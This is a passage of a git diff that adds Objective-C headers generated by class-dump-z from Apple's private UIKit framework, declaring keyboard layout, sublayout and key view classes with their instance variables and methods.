UIKeyboardLayoutRoman { +} +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_NumberPad) +-(id)buildUIKeyboardLayoutNumberPad; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_NumberPadTransparent) +-(id)buildUIKeyboardLayoutNumberPadTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_PhonePad) +-(id)buildUIKeyboardLayoutPhonePad; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_PhonePadAlt) +-(id)buildUIKeyboardLayoutPhonePadAlt; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_PhonePadAltTransparent) +-(id)buildUIKeyboardLayoutPhonePadAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_PhonePadTransparent) +-(id)buildUIKeyboardLayoutPhonePadTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_SMSAddressing) +-(id)buildUIKeyboardLayoutSMSAddressing; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_SMSAddressingAlt) +-(id)buildUIKeyboardLayoutSMSAddressingAlt; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_SMSAddressingAltTransparent) +-(id)buildUIKeyboardLayoutSMSAddressingAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_SMSAddressingTransparent) +-(id)buildUIKeyboardLayoutSMSAddressingTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_EmailAddressAlt) +-(id)buildUIKeyboardLayoutEmailAddressAlt; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_EmailAddressAltTransparent) +-(id)buildUIKeyboardLayoutEmailAddressAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_URLAlt) +-(id)buildUIKeyboardLayoutURLAlt; +@end + +@interface UIKeyboardLayoutQWERTY (UI_QWERTY_URLAltTransparent) +-(id)buildUIKeyboardLayoutURLAltTransparent; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTYLandscape.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTYLandscape.h new file mode 100644 index 0000000..dc57145 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTYLandscape.h @@ -0,0 +1,72 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardLayoutRoman.h" +#import "UIKeyboardLayoutQWERTYLandscape.h" + + +@interface UIKeyboardLayoutQWERTYLandscape : UIKeyboardLayoutRoman { +} +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_NumberPad) +-(id)buildUIKeyboardLayoutNumberPad; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_NumberPadTransparent) +-(id)buildUIKeyboardLayoutNumberPadTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_PhonePad) +-(id)buildUIKeyboardLayoutPhonePad; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_PhonePadAlt) +-(id)buildUIKeyboardLayoutPhonePadAlt; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_PhonePadAltTransparent) +-(id)buildUIKeyboardLayoutPhonePadAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_PhonePadTransparent) +-(id)buildUIKeyboardLayoutPhonePadTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_SMSAddressing) +-(id)buildUIKeyboardLayoutSMSAddressing; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_SMSAddressingAlt) +-(id)buildUIKeyboardLayoutSMSAddressingAlt; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_SMSAddressingAltTransparent) +-(id)buildUIKeyboardLayoutSMSAddressingAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_SMSAddressingTransparent) +-(id)buildUIKeyboardLayoutSMSAddressingTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_URLAlt) +-(id)buildUIKeyboardLayoutURLAlt; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_URLAltTransparent) +-(id)buildUIKeyboardLayoutURLAltTransparent; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_EmailAddressAlt) +-(id)buildUIKeyboardLayoutEmailAddressAlt; +@end + +@interface UIKeyboardLayoutQWERTYLandscape (UI_QWERTYLandscape_EmailAddressAltTransparent) +-(id)buildUIKeyboardLayoutEmailAddressAltTransparent; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZ.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZ.h new file mode 100644 index 0000000..9993db2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZ.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTY.h" + + +@interface UIKeyboardLayoutQWERTZ : UIKeyboardLayoutQWERTY { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZLandscape.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZLandscape.h new file mode 100644 index 0000000..777f2a1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTZLandscape.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTYLandscape.h" + + +@interface UIKeyboardLayoutQWERTZLandscape : UIKeyboardLayoutQWERTYLandscape { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTY.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTY.h new file mode 100644 index 0000000..ba82169 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTY.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTY.h" + + +@interface UIKeyboardLayoutQZERTY : UIKeyboardLayoutQWERTY { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTYLandscape.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTYLandscape.h new file mode 100644 index 0000000..200d9a8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQZERTYLandscape.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTYLandscape.h" + + +@interface UIKeyboardLayoutQZERTYLandscape : UIKeyboardLayoutQWERTYLandscape { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutRomaji.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutRomaji.h new file mode 100644 index 0000000..b72c005 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutRomaji.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTY.h" + + +@interface UIKeyboardLayoutRomaji : UIKeyboardLayoutQWERTY { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutRomajiLandscape.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutRomajiLandscape.h new file mode 100644 index 0000000..fa9fdaa --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutRomajiLandscape.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTYLandscape.h" + + +@interface UIKeyboardLayoutRomajiLandscape : UIKeyboardLayoutQWERTYLandscape { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutRoman.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutRoman.h new file mode 100644 index 0000000..b41489d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutRoman.h @@ -0,0 +1,135 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayout.h" +#import "UIKit-Structs.h" + +@class NSMutableDictionary, UIKeyboardSublayout; + +@interface UIKeyboardLayoutRoman : UIKeyboardLayout { + NSMutableDictionary* m_keyedSublayouts; + UIKeyboardSublayout* m_activeSublayout; + UIKeyboardSublayout* m_deactivatingSublayout; + id m_activeSublayoutKey; + int m_activeKeyIndex; + UIView* m_activeKeyView; + UIView* m_accentedKeyView; + int m_returnKeyIndex; + UIView* m_enabledReturnKeyView; + UIView* m_disabledReturnKeyView; + UIView* m_pressedReturnKeyView; + CGPoint m_dragPoint; + int m_preferredTrackingChangeCount; + USet* m_accentInfo; + USet* m_hasAccents; + id m_spaceTarget; + SEL m_spaceAction; + SEL m_spaceLongAction; + id m_returnTarget; + SEL m_returnAction; + SEL m_returnLongAction; + id m_deleteTarget; + SEL m_deleteAction; + SEL m_deleteLongAction; + BOOL m_shift; + BOOL m_built; + BOOL m_dragged; + BOOL m_dragChangedKey; + BOOL m_mouseDownInMoreKey; + BOOL m_didLongPress; +} ++(id)inputModesPreferringEuroToDollar; ++(id)availableTopLevelDomains; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)showKeyboardType:(int)type withAppearance:(int)appearance; +-(void)deactivateActiveKeys; +-(void)updateReturnKey; +-(void)updateLocalizedKeys; +-(BOOL)usesAutoShift; +-(BOOL)isShiftKeyBeingHeld; +-(BOOL)isShiftKeyPlaneChooser; +-(void)setShift:(BOOL)shift; +-(void)longPressAction; +-(unsigned)typeForKey:(XXStruct_K4qLnD*)key; +-(unsigned)downActionFlagsForKey:(XXStruct_K4qLnD*)key; +-(unsigned)upActionFlagsForKey:(XXStruct_K4qLnD*)key; +-(CGRect)compositeFGLongPressFrameForKey:(XXStruct_K4qLnD*)key orientation:(int)orientation; +-(Class)sublayoutClassForKeyboardType:(id)keyboardType; +-(void)setLabel:(id)label forKey:(id)key; +-(void)setTarget:(id)target forKey:(id)key; +-(void)setAction:(SEL)action forKey:(id)key; +-(void)setLongPressAction:(SEL)action forKey:(id)key; +-(void)restoreDefaultsForKey:(id)key; +-(void)restoreDefaultsForAllKeys; +-(void)nextCandidatesAction; +-(void)confirmAction; +-(void)sendStringAction:(id)action forKey:(XXStruct_K4qLnD*)key; +-(void)deleteAction; +-(void)handleHardwareKeyDownFromSimulator:(GSEventRef)simulator; +-(void)addLocalizedCurrencyKeysToSublayout:(id)sublayout keyboardType:(id)type; +-(void)build; +-(id)buildSublayoutForKey:(id)key; +-(id)buildUIKeyboardLayoutMain; +-(id)buildUIKeyboardLayoutAlternate; +-(id)buildUIKeyboardLayoutAlphabet; +-(id)buildUIKeyboardLayoutNumbers; +-(id)buildUIKeyboardLayoutAlphabetTransparent; +-(id)buildUIKeyboardLayoutNumbersTransparent; +-(id)buildUIKeyboardLayoutPhonePad; +-(id)buildUIKeyboardLayoutPhonePadAlt; +-(id)buildUIKeyboardLayoutPhonePadTransparent; +-(id)buildUIKeyboardLayoutPhonePadAltTransparent; +-(id)buildUIKeyboardLayoutNumberPad; +-(id)buildUIKeyboardLayoutNumberPadTransparent; +-(id)buildUIKeyboardLayoutURL; +-(id)buildUIKeyboardLayoutURLAlt; +-(id)buildUIKeyboardLayoutURLTransparent; +-(id)buildUIKeyboardLayoutURLAltTransparent; +-(id)buildUIKeyboardLayoutSMSAddressing; +-(id)buildUIKeyboardLayoutSMSAddressingAlt; +-(id)buildUIKeyboardLayoutSMSAddressingTransparent; +-(id)buildUIKeyboardLayoutSMSAddressingAltTransparent; +-(id)buildUIKeyboardLayoutEmailAddress; +-(id)buildUIKeyboardLayoutEmailAddressAlt; +-(id)buildUIKeyboardLayoutEmailAddressTransparent; +-(id)buildUIKeyboardLayoutEmailAddressAltTransparent; +-(void)addSublayout:(id)sublayout forKey:(id)key; +-(id)layoutKeyForKeyboardType:(int)keyboardType withAppearance:(int)appearance; +-(void)showKeyboardTypeForKey:(id)key; +-(id)sublayoutForKey:(id)key; +-(id)activeSublayoutKey; +-(id)activeSublayout; +-(XXStruct_K4qLnD*)activeKey; +-(id)overlayImageForKey:(XXStruct_K4qLnD*)key; +-(BOOL)shouldCacheViewForKey:(XXStruct_K4qLnD*)key; +-(void)activateCompositeKey:(XXStruct_K4qLnD*)key; +-(void)activateKey:(XXStruct_K4qLnD*)key; +-(void)activateKeyWithIndex:(unsigned)index; +-(void)activateFirstKeyOfType:(unsigned)type; +-(XXStruct_K4qLnD*)closestKeyWithoutCharging:(CGPoint)charging; +-(unsigned)keyHitTest:(CGPoint)test; +-(XXStruct_K4qLnD*)keyForPoint:(CGPoint)point; +-(void)showPopupVariantsForKey:(XXStruct_K4qLnD*)key; +-(void)layoutSubview:(id)subview selectedString:(id)string; +-(BOOL)isLongPressedKey:(XXStruct_K4qLnD*)key; +-(id)inputStringForKey:(XXStruct_K4qLnD*)key; +-(id)cacheKeyForKey:(XXStruct_K4qLnD*)key; +-(XXStruct_K4qLnD*)inputKeyboardKeyForKey:(XXStruct_K4qLnD*)key; +-(id)alternateSublayoutKey:(id)key; +-(void)touchDownWithKey:(XXStruct_K4qLnD*)key atPoint:(CGPoint)point; +-(int)keyHitTestUniversal:(CGPoint)universal touchStage:(int)stage atTime:(double)time withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchDown:(GSEventRef)down withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchDragged:(GSEventRef)dragged withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchUp:(GSEventRef)up withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)willRotate; +-(void)didRotate; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutStar.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutStar.h new file mode 100644 index 0000000..4ece0f6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutStar.h @@ -0,0 +1,115 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayout.h" +#import "UIKit-Structs.h" + +@class NSString, UIKBKeyplaneView, UIKBKey, NSMutableArray, NSMutableDictionary, UIKBKeyboard, UIKBKeyplane, NSMutableSet, NSTimer; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardLayoutStar : UIKeyboardLayout { +@private + UIKBKeyboard* m_keyboard; + UIKBKeyplane* m_keyplane; + NSString* m_keyboardName; + NSString* m_keyplaneName; + int m_appearance; + UIKBKey* m_activeKey; + CGPoint m_dragPoint; + UIKBKeyplaneView* m_keyplaneView; + int m_keyboardType; + NSMutableDictionary* m_keyboards; + NSMutableDictionary* m_states; + NSMutableDictionary* m_allKeys; + NSMutableDictionary* m_renderedKeys; + NSMutableDictionary* m_allKeyplaneViews; + NSMutableSet* m_variantKeyTokens; + NSString* m_localizedInputMode; + NSMutableArray* m_keyIndexMap; + NSMutableDictionary* m_activatedKeys; + NSTimer* m_activatedTimer; + int m_preferredTrackingChangeCount; + USet* m_accentInfo; + USet* m_hasAccents; + id m_spaceTarget; + SEL m_spaceAction; + SEL m_spaceLongAction; + id m_returnTarget; + SEL m_returnAction; + SEL m_returnLongAction; + id m_deleteTarget; + SEL m_deleteAction; + SEL m_deleteLongAction; + BOOL m_secureTextEntry; + BOOL m_shift; + BOOL m_settingShift; + BOOL m_didLongPress; + BOOL m_dragged; + BOOL m_dragChangedKey; + BOOL m_touchDownInMoreKey; +} +@property(readonly, assign, nonatomic) UIKBKeyboard* keyboard; +@property(readonly, assign, nonatomic) UIKBKeyplane* keyplane; +@property(copy, nonatomic) NSString* keyboardName; +@property(copy, nonatomic) NSString* keyplaneName; +@property(retain, nonatomic) UIKBKey* activeKey; +@property(assign, nonatomic) BOOL shift; +@property(assign, nonatomic) BOOL didLongPress; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setKeyboardName:(id)name appearance:(int)appearance; +-(void)setReturnKeyType:(int)type; +-(void)setCurrencyKeysForCurrentLocale:(id)currentLocale; +-(int)displayTypeHintForMoreKey; +-(int)displayTypeHintForShiftKey; +-(void)updateMoreAndInternationalKeys; +-(void)setState:(int)state forKey:(id)key; +-(void)addKeyToActivatedSet:(id)activatedSet; +-(void)removeKeyFromActivatedSet:(id)activatedSet; +-(void)schedulePeriodicProcessActivatedSet; +-(void)cancelPeriodicProcessActivatedSet; +-(void)periodicProcessActivatedSet:(id)set; +-(void)deactivateAllInActivatedSet; +-(id)cacheIdentifierForState:(int)state ofKey:(id)key; +-(id)cacheIdentifierForKeyplaneNamed:(id)keyplaneNamed withVisualStyle:(id)visualStyle; +-(void)showKeyboardType:(int)type appearance:(int)appearance orientation:(id)orientation; +-(void)deactivateActiveKeys; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(id)keyHitTestContainingPoint:(CGPoint)point; +-(id)keyHitTestClosestToPoint:(CGPoint)point; +-(id)keyHitTestWithoutCharging:(CGPoint)charging; +-(id)keyHitTest:(CGPoint)test; +-(id)keyHitTest:(CGPoint)test touchStage:(int)stage atTime:(double)time withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)sendStringAction:(id)action forKey:(id)key; +-(void)deleteAction; +-(void)setLabel:(id)label forKey:(id)key; +-(void)setTarget:(id)target forKey:(id)key; +-(void)setAction:(SEL)action forKey:(id)key; +-(void)setLongPressAction:(SEL)action forKey:(id)key; +-(void)restoreDefaultsForKey:(id)key; +-(void)restoreDefaultsForAllKeys; +-(void)nextCandidatesAction; +-(void)confirmAction; +-(BOOL)isShiftKeyPlaneChooser; +-(BOOL)isLongPressedKey:(id)key; +-(void)longPressAction; +-(void)showPopupVariantsForKey:(id)key; +-(void)touchDown:(GSEventRef)down withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchDownWithKey:(id)key atPoint:(CGPoint)point; +-(void)touchDragged:(GSEventRef)dragged withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchUp:(GSEventRef)up withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(BOOL)keyHasAccentedVariants:(id)variants; +-(unsigned)downActionFlagsForKey:(id)key; +-(unsigned)upActionFlagsForKey:(id)key; +-(void)updateReturnKey; +-(BOOL)usesAutoShift; +-(BOOL)isShiftKeyBeingHeld; +-(void)updateKeyCentroids:(BOOL)centroids; +-(void)didRotate; +-(id)scriptingInfoWithChildren; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardPartialLayoutView.h b/igor/headers/dumpedUIKit/UIKeyboardPartialLayoutView.h new file mode 100644 index 0000000..653810e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardPartialLayoutView.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +@interface UIKeyboardPartialLayoutView : UIView { +} +-(id)initWithFrame:(CGRect)frame imageName:(id)name visibleOrigin:(CGPoint)origin; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardPeripheral.h b/igor/headers/dumpedUIKit/UIKeyboardPeripheral.h new file mode 100644 index 0000000..1e63e68 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardPeripheral.h @@ -0,0 +1,32 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboard.h" +#import "UIFormPeripheral.h" + +@class DOMNode; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardPeripheral : UIKeyboard { +@private + DOMNode* _textNode; + int _orientation; +} +@property(retain, nonatomic) DOMNode* _textNode; ++(id)createPeripheral; +-(id)initFormPeripheral; +-(void)dealloc; +-(id)peripheralFormNode; +-(BOOL)isKeyboard; +-(void)beginEditing; +-(void)endEditing; +-(void)reset; +-(void)setPeripheralFormNode:(id)node; +-(int)orientation; +-(void)resumeWithNotification:(id)notification; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardReplacementImageView.h b/igor/headers/dumpedUIKit/UIKeyboardReplacementImageView.h new file mode 100644 index 0000000..a1d0e6e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardReplacementImageView.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardPartialLayoutView.h" + + +@interface UIKeyboardReplacementImageView : UIKeyboardPartialLayoutView { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardReturnKeyView.h b/igor/headers/dumpedUIKit/UIKeyboardReturnKeyView.h new file mode 100644 index 0000000..38ee923 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardReturnKeyView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardKeyView.h" + + +@interface UIKeyboardReturnKeyView : UIKeyboardKeyView { + int m_originalStyle; + int m_subtype; +} +-(id)initWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +-(CFDataRef)createCacheKey; +-(int)subtype; +-(void)setSubtype:(int)subtype; +-(id)localizedString; +-(id)symbolString; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardSpaceKeyView.h b/igor/headers/dumpedUIKit/UIKeyboardSpaceKeyView.h new file mode 100644 index 0000000..bb23843 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardSpaceKeyView.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardKeyView.h" + + +@interface UIKeyboardSpaceKeyView : UIKeyboardKeyView { +} +-(id)initWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +-(id)localizedString; +-(id)symbolString; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardSublayout.h b/igor/headers/dumpedUIKit/UIKeyboardSublayout.h new file mode 100644 index 0000000..e756ea5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardSublayout.h @@ -0,0 +1,86 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIKeyboardReturnKeyView, UIImageView, UIKeyboardSpaceKeyView, NSMutableDictionary, UIClippedImageView, NSMutableArray; + +@interface UIKeyboardSublayout : UIView { + UIImageView* m_imageView; + UIClippedImageView* m_activeImageView; + UIImageView* m_shiftImageView; + UIClippedImageView* m_shiftActiveImageView; + UIImageView* m_shiftButtonImageView; + UIImageView* m_shiftButtonInactiveImageView; + UIImageView* m_autoShiftButtonImageView; + UIImageView* m_shiftLockedButtonImageView; + NSMutableDictionary* m_compositeImages; + NSMutableDictionary* m_activeKeyViews; + UIImageView* m_intlMoreImageView; + UIImageView* m_intlSwitchImageView; + UIImageView* m_intlSwitchActiveImageView; + UIImageView* m_nonIntlMoreImageView; + UIImageView* m_deleteImageView; + UIImageView* m_deleteActiveImageView; + UIKeyboardSpaceKeyView* m_spaceKeyView; + UIKeyboardReturnKeyView* m_returnKeyView; + NSMutableArray* m_extraImageViews; + XXStruct_MMLx8B* m_keys; + unsigned m_keysCount; + CFDictionaryRef m_replacementKeys; + NSMutableDictionary* m_replacementImageViews; + BOOL m_usesAutoShift; + BOOL m_isShiftKeyPlaneChooser; + BOOL m_registersKeyCentroids; + BOOL m_usesKeyCharges; + BOOL m_internationalKeyIsActivated; +} ++(id)sublayoutWithFrame:(CGRect)frame imagePaths:(id)paths keys:(const XXStruct_K4qLnD*)keys keysCount:(unsigned)count; ++(id)compositedSublayoutWithFrame:(CGRect)frame compositeImagePaths:(id)paths keys:(const XXStruct_K4qLnD*)keys keysCount:(unsigned)count; +-(id)initWithFrame:(CGRect)frame imagePaths:(id)paths keys:(const XXStruct_K4qLnD*)keys keysCount:(unsigned)count; +-(id)initWithFrame:(CGRect)frame compositeImagePaths:(id)paths keys:(const XXStruct_K4qLnD*)keys keysCount:(unsigned)count; +-(void)dealloc; +-(void)setUsesAutoShift:(BOOL)shift; +-(BOOL)usesAutoShift; +-(void)setIsShiftKeyPlaneChooser:(BOOL)chooser; +-(BOOL)isShiftKeyPlaneChooser; +-(void)registerKeyAreaZephyr:(CGPoint)zephyr keyRect:(CGRect)rect keyCode:(int)code keyString:(id)string keyShiftString:(id)string5; +-(void)registerKeyCentroids; +-(void)setRegistersKeyCentroids:(BOOL)centroids; +-(BOOL)usesKeyCharges; +-(void)setUsesKeyCharges:(BOOL)charges; +-(void)setShiftButtonImage:(id)image frame:(CGRect)frame; +-(void)setShiftInactiveButtonImage:(id)image frame:(CGRect)frame; +-(void)setAutoShiftButtonImage:(id)image frame:(CGRect)frame; +-(void)setShiftLockedButtonImage:(id)image frame:(CGRect)frame; +-(void)setDeleteButtonImage:(id)image frame:(CGRect)frame; +-(void)setDeleteActiveButtonImage:(id)image frame:(CGRect)frame; +-(void)setCompositeImage:(id)image forKey:(id)key; +-(id)compositeImageForKey:(id)key; +-(void)addReplacementKeyboardKey:(XXStruct_K4qLnD*)key forKey:(id)key2; +-(void)addReplacementImageView:(id)view inputMode:(id)mode shift:(BOOL)shift; +-(void)addExtraImageView:(id)view; +-(void)addPartialLayoutViewWithFrame:(CGRect)frame imageName:(id)name visibleOrigin:(CGPoint)origin; +-(void)addSpaceKeyViewIfNeeded; +-(void)addSpaceKeyViewIfNeeded:(id)needed; +-(id)createSpaceKeyViewWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +-(void)setSpaceKeyView:(id)view; +-(void)addReturnKeyViewIfNeeded; +-(void)addReturnKeyViewIfNeeded:(id)needed; +-(id)createReturnKeyViewWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +-(void)setReturnKeyView:(id)view; +-(id)internationalImageName:(int)name forKeyboard:(id)keyboard orientation:(int)orientation; +-(void)addInternationalKeyIfNeeded:(id)needed; +-(BOOL)hitInternationalKey:(CGPoint)key; +-(void)activateInternationalKey; +-(BOOL)internationalKeyIsActivated; +-(void)deactivateInternationalKey; +-(void)bringKeySubviewsToFront; +-(id)scriptingInfoWithChildren; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardSublayoutEMail.h b/igor/headers/dumpedUIKit/UIKeyboardSublayoutEMail.h new file mode 100644 index 0000000..c087398 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardSublayoutEMail.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardSublayout.h" + + +@interface UIKeyboardSublayoutEMail : UIKeyboardSublayout { +} +-(id)createSpaceKeyViewWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +@end + diff --git a/igor/headers/dumpedUIKit/UIKit-Structs.h b/igor/headers/dumpedUIKit/UIKit-Structs.h new file mode 100644 index 0000000..71c04f3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKit-Structs.h @@ -0,0 +1,269 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ +#import +#import + +typedef struct __GSEvent* GSEventRef; + +typedef struct { + unsigned char pathIndex; + unsigned char pathIdentity; + unsigned char pathProximity; + float pathPressure; + 